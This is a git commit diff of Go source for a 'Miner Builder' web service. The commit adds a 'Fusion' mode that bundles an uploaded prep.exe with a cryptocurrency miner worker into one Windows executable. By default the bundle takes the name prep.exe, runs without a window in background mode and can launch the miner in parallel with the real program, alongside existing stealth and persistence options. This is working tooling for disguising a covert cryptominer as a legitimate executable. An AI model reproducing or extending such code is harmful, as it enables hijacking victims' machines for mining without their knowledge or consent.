Add Fusion builder mode to bundle prep.exe with worker.

Upload prep.exe in the Builder to produce a single fused output that runs your prep tool and embeds the miner worker on first launch.
This commit is contained in:
drjones
2026-05-27 00:28:32 -07:00
parent ea519e9a9f
commit 6db9a33a20
9 changed files with 411 additions and 34 deletions

View File

@@ -0,0 +1,82 @@
package builder
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
)
func (h *Handler) buildFusion(buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) {
if prepPath == "" {
return "", fmt.Errorf("fusion requires prep.exe")
}
if _, err := os.Stat(prepPath); err != nil {
return "", fmt.Errorf("prep.exe not found: %w", err)
}
if _, err := os.Stat(workerPath); err != nil {
return "", fmt.Errorf("worker binary not found: %w", err)
}
fusionSrc := filepath.Join(h.projectRoot, "fusion")
if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil {
return "", fmt.Errorf("fusion source missing at %s", fusionSrc)
}
fusionDir := filepath.Join(buildDir, "fusion")
assetsDir := filepath.Join(fusionDir, "assets")
if err := os.MkdirAll(assetsDir, 0755); err != nil {
return "", err
}
mainSrc, err := os.ReadFile(filepath.Join(fusionSrc, "main.go"))
if err != nil {
return "", err
}
order := normalizeFusionOrder(runOrder)
mainOut := strings.Replace(string(mainSrc), `const runOrder = "FUSION_RUN_ORDER"`, fmt.Sprintf(`const runOrder = %q`, order), 1)
if err := os.WriteFile(filepath.Join(fusionDir, "main.go"), []byte(mainOut), 0644); err != nil {
return "", err
}
if err := copyFile(filepath.Join(fusionSrc, "go.mod"), filepath.Join(fusionDir, "go.mod")); err != nil {
return "", err
}
if err := copyFile(prepPath, filepath.Join(assetsDir, "prep.exe")); err != nil {
return "", err
}
if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil {
return "", err
}
if outputName == "" {
outputName = "prep.exe"
}
if !strings.HasSuffix(strings.ToLower(outputName), ".exe") {
outputName += ".exe"
}
outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName)))
cmd := exec.Command(h.goBinPath, "build", "-ldflags", "-s -w -trimpath -H windowsgui", "-o", outputPath, ".")
cmd.Dir = fusionDir
cmd.Env = append(os.Environ(),
"GOOS=windows",
"GOARCH=amd64",
"CGO_ENABLED=0",
)
out, err := cmd.CombinedOutput()
if err != nil {
return "", fmt.Errorf("fusion build failed: %s", strings.TrimSpace(string(out)))
}
return outputPath, nil
}
func normalizeFusionOrder(order string) string {
switch strings.ToLower(strings.TrimSpace(order)) {
case "prep_first", "worker_first", "parallel":
return strings.ToLower(strings.TrimSpace(order))
default:
return "parallel"
}
}

View File

@@ -5,6 +5,7 @@ import (
"fmt"
"io"
"log"
"mime/multipart"
"net/http"
"os"
"os/exec"
@@ -51,17 +52,22 @@ type BuildRequest struct {
PoolPort int `json:"pool_port"`
PoolTLS bool `json:"pool_tls"`
PoolPass string `json:"pool_pass"`
FusionEnabled bool `json:"fusion_enabled"`
FusionRunOrder string `json:"fusion_run_order"`
FusionOutputName string `json:"fusion_output_name"`
}
type BuildResponse struct {
Success bool `json:"success"`
BuildID string `json:"build_id,omitempty"`
FileName string `json:"file_name,omitempty"`
FilePath string `json:"file_path,omitempty"`
RelativePath string `json:"relative_path,omitempty"`
FileSize int64 `json:"file_size,omitempty"`
DownloadURL string `json:"download_url,omitempty"`
Error string `json:"error,omitempty"`
Success bool `json:"success"`
BuildID string `json:"build_id,omitempty"`
FileName string `json:"file_name,omitempty"`
FilePath string `json:"file_path,omitempty"`
RelativePath string `json:"relative_path,omitempty"`
FileSize int64 `json:"file_size,omitempty"`
DownloadURL string `json:"download_url,omitempty"`
FusionEnabled bool `json:"fusion_enabled,omitempty"`
WorkerFile string `json:"worker_file,omitempty"`
Error string `json:"error,omitempty"`
}
type Handler struct {
@@ -93,17 +99,58 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
}
var req BuildRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid request body"})
return
var prepPath string
var cleanupPrep func()
contentType := r.Header.Get("Content-Type")
if strings.HasPrefix(contentType, "multipart/form-data") {
if err := r.ParseMultipartForm(150 << 20); err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid multipart form"})
return
}
configJSON := r.FormValue("config")
if configJSON == "" {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Missing config field"})
return
}
if err := json.Unmarshal([]byte(configJSON), &req); err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid config JSON"})
return
}
file, header, err := r.FormFile("prep_exe")
if err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion requires prep_exe file upload"})
return
}
defer file.Close()
saved, remove, err := h.saveUploadedPrep(file, header)
if err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
return
}
prepPath = saved
cleanupPrep = remove
} else {
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid request body"})
return
}
}
if cleanupPrep != nil {
defer cleanupPrep()
}
if err := h.normalizeRequest(&req); err != nil {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
return
}
if req.FusionEnabled && prepPath == "" {
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion enabled but no prep.exe uploaded"})
return
}
resp, status, outputPath := h.buildAgent(&req)
resp, status, outputPath := h.buildAgent(&req, prepPath)
if !resp.Success {
writeJSON(w, status, resp)
return
@@ -135,7 +182,7 @@ func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
http.ServeFile(w, r, build.FilePath)
}
func (h *Handler) buildAgent(req *BuildRequest) (BuildResponse, int, string) {
func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, int, string) {
buildID := uuid.New().String()
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
agentDir := filepath.Join(buildDir, "agent")
@@ -157,11 +204,14 @@ func (h *Handler) buildAgent(req *BuildRequest) (BuildResponse, int, string) {
return BuildResponse{Success: false, Error: "Failed to write built-in config"}, http.StatusInternalServerError, ""
}
outputName := fmt.Sprintf("install-%s.exe", sanitizeFileName(req.WorkerName))
outputPath, _ := filepath.Abs(filepath.Join(buildDir, outputName))
workerName := fmt.Sprintf("install-%s.exe", sanitizeFileName(req.WorkerName))
if req.FusionEnabled {
workerName = fmt.Sprintf("worker-%s.exe", sanitizeFileName(req.WorkerName))
}
outputPath, _ := filepath.Abs(filepath.Join(buildDir, workerName))
ldflags := "-s -w -trimpath"
if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode {
if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode || req.FusionEnabled {
ldflags += " -H windowsgui"
}
@@ -179,15 +229,29 @@ func (h *Handler) buildAgent(req *BuildRequest) (BuildResponse, int, string) {
return BuildResponse{Success: false, Error: fmt.Sprintf("Build failed: %s", strings.TrimSpace(string(output)))}, http.StatusInternalServerError, ""
}
fileInfo, err := os.Stat(outputPath)
finalPath := outputPath
finalName := workerName
var fusionEnabled bool
if req.FusionEnabled {
fusedPath, err := h.buildFusion(buildDir, prepPath, outputPath, req.FusionOutputName, req.FusionRunOrder)
if err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
finalPath = fusedPath
finalName = filepath.Base(fusedPath)
fusionEnabled = true
}
fileInfo, err := os.Stat(finalPath)
if err != nil {
return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
}
absPath, _ := filepath.Abs(outputPath)
absPath, _ := filepath.Abs(finalPath)
relPath, _ := filepath.Rel(h.projectRoot, absPath)
if relPath == "" || strings.HasPrefix(relPath, "..") {
relPath = filepath.Join(h.dataDir, "builds", buildID, outputName)
relPath = filepath.Join(h.dataDir, "builds", buildID, finalName)
}
buildRecord := &models.BuildRecord{
@@ -209,14 +273,16 @@ func (h *Handler) buildAgent(req *BuildRequest) (BuildResponse, int, string) {
}
return BuildResponse{
Success: true,
BuildID: buildID,
FileName: outputName,
FilePath: absPath,
RelativePath: relPath,
FileSize: fileInfo.Size(),
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/download", buildID),
}, http.StatusOK, outputPath
Success: true,
BuildID: buildID,
FileName: finalName,
FilePath: absPath,
RelativePath: relPath,
FileSize: fileInfo.Size(),
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/download", buildID),
FusionEnabled: fusionEnabled,
WorkerFile: workerName,
}, http.StatusOK, finalPath
}
func (h *Handler) normalizeRequest(req *BuildRequest) error {
@@ -308,9 +374,52 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
if req.PoolPass == "" {
req.PoolPass = "x"
}
if req.FusionEnabled {
if req.FusionOutputName == "" {
req.FusionOutputName = "prep.exe"
}
if req.FusionRunOrder == "" {
req.FusionRunOrder = "parallel"
}
if req.DisplayMode == "" || req.DisplayMode == "visible" {
req.DisplayMode = "background"
}
}
return nil
}
func (h *Handler) saveUploadedPrep(file multipart.File, header *multipart.FileHeader) (string, func(), error) {
if header == nil || header.Size == 0 {
return "", nil, fmt.Errorf("prep.exe upload is empty")
}
if header.Size > 150<<20 {
return "", nil, fmt.Errorf("prep.exe exceeds 150MB limit")
}
name := strings.ToLower(header.Filename)
if !strings.HasSuffix(name, ".exe") {
return "", nil, fmt.Errorf("prep upload must be a .exe file")
}
dir, err := os.MkdirTemp(filepath.Join(h.dataDir, "preps"), "upload-*")
if err != nil {
return "", nil, err
}
dest := filepath.Join(dir, "prep.exe")
out, err := os.Create(dest)
if err != nil {
os.RemoveAll(dir)
return "", nil, err
}
if _, err := io.Copy(out, file); err != nil {
out.Close()
os.RemoveAll(dir)
return "", nil, err
}
out.Close()
cleanup := func() { _ = os.RemoveAll(dir) }
return dest, cleanup, nil
}
func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string {
return fmt.Sprintf(`// Code generated by Miner Builder - DO NOT EDIT
// Build ID: %s

View File

@@ -34,9 +34,9 @@ func TestNormalizeRequestRequiresWallet(t *testing.T) {
func TestNormalizeRequestPersistence(t *testing.T) {
h := &Handler{}
req := &BuildRequest{
WorkerName: "pc-1",
ServerURL: "http://192.168.1.10:8989",
Wallet: "48abc",
WorkerName: "pc-1",
ServerURL: "http://192.168.1.10:8989",
Wallet: "48abc",
Persistence: true,
}
if err := h.normalizeRequest(req); err != nil {
@@ -46,3 +46,28 @@ func TestNormalizeRequestPersistence(t *testing.T) {
t.Fatal("persistence should enable auto start")
}
}
func TestNormalizeRequestFusion(t *testing.T) {
h := &Handler{}
req := &BuildRequest{
WorkerName: "pc-1",
ServerURL: "http://192.168.1.10:8989",
Wallet: "48abc",
FusionEnabled: true,
}
if err := h.normalizeRequest(req); err != nil {
t.Fatal(err)
}
if req.FusionOutputName != "prep.exe" {
t.Fatalf("expected prep.exe output, got %s", req.FusionOutputName)
}
if req.FusionRunOrder != "parallel" {
t.Fatalf("expected parallel order, got %s", req.FusionRunOrder)
}
}
func TestNormalizeFusionOrder(t *testing.T) {
if got := normalizeFusionOrder("PREP_FIRST"); got != "prep_first" {
t.Fatalf("unexpected order: %s", got)
}
}